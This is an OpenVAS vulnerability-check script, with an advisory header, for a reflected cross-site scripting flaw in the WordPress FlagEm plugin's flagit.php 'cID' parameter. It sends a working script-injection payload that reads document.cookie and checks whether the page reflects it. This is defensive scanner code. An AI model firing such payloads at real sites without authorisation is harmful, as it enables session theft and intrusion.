WordPress FlagEm Plugin Cross Site Scripting Vulnerability

2013-07-26T00:00:00
ID OPENVAS:1361412562310803842
Type openvas
Reporter Copyright (C) 2013 Greenbone Networks GmbH
Modified 2020-02-26T00:00:00

Description

This host is running WordPress FlagEm Plugin and is prone to cross-site scripting vulnerability.

                                        
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# OpenVAS Vulnerability Test
#
# WordPress FlagEm Plugin Cross Site Scripting Vulnerability
#
# Authors:
# Thanga Prakash S <tprakash@secpod.com>
#
# Copyright:
# Copyright (c) 2013 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803842");
  script_version("2020-02-26T12:57:19+0000");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2020-02-26 12:57:19 +0000 (Wed, 26 Feb 2020)");
  script_tag(name:"creation_date", value:"2013-07-26 13:11:00 +0530 (Fri, 26 Jul 2013)");
  script_name("WordPress FlagEm Plugin Cross Site Scripting Vulnerability");


  script_tag(name:"summary", value:"This host is running WordPress FlagEm Plugin and is prone to cross-site
scripting vulnerability.");
  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request and check weather it is able to
read the cookie or not.");
  script_tag(name:"solution", value:"No known solution was made available for at least one year
since the disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective
features, remove the product or replace the product by another one.");
  script_tag(name:"insight", value:"Input passed via 'cID' GET parameter to '/FlagEm/flagit.php' script is not
properly sanitised before being returned to the user.");
  script_tag(name:"affected", value:"WordPress FlagEm plugin");
  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary HTML and
script code in a user's browser session in the context of an affected site.");
  script_tag(name:"solution_type", value:"WillNotFix");
  script_xref(name:"URL", value:"http://cxsecurity.com/issue/WLB-2013070173");
  script_xref(name:"URL", value:"http://exploitsdownload.com/exploit/na/wordpress-flagem-cross-site-scripting");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/122505/WordPress-FlagEm-Cross-Site-Scripting.html");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2013 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("secpod_wordpress_detect_900182.nasl");
  script_mandatory_keys("wordpress/installed");
  script_require_ports("Services/www", 80);
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE)) exit(0);
if(!dir = get_app_location(cpe:CPE, port:port)){
  exit(0);
}

url = dir + '/wp-content/plugins/FlagEm/flagit.php?cID='+
             '"><script>alert(document.cookie)</script>';

if(http_vuln_check(port:port, url:url, check_header:TRUE,
   pattern:"<script>alert\(document\.cookie\)</script>",
                           extra_check:">Please Note:<"))
{
  security_message(port);
  exit(0);
}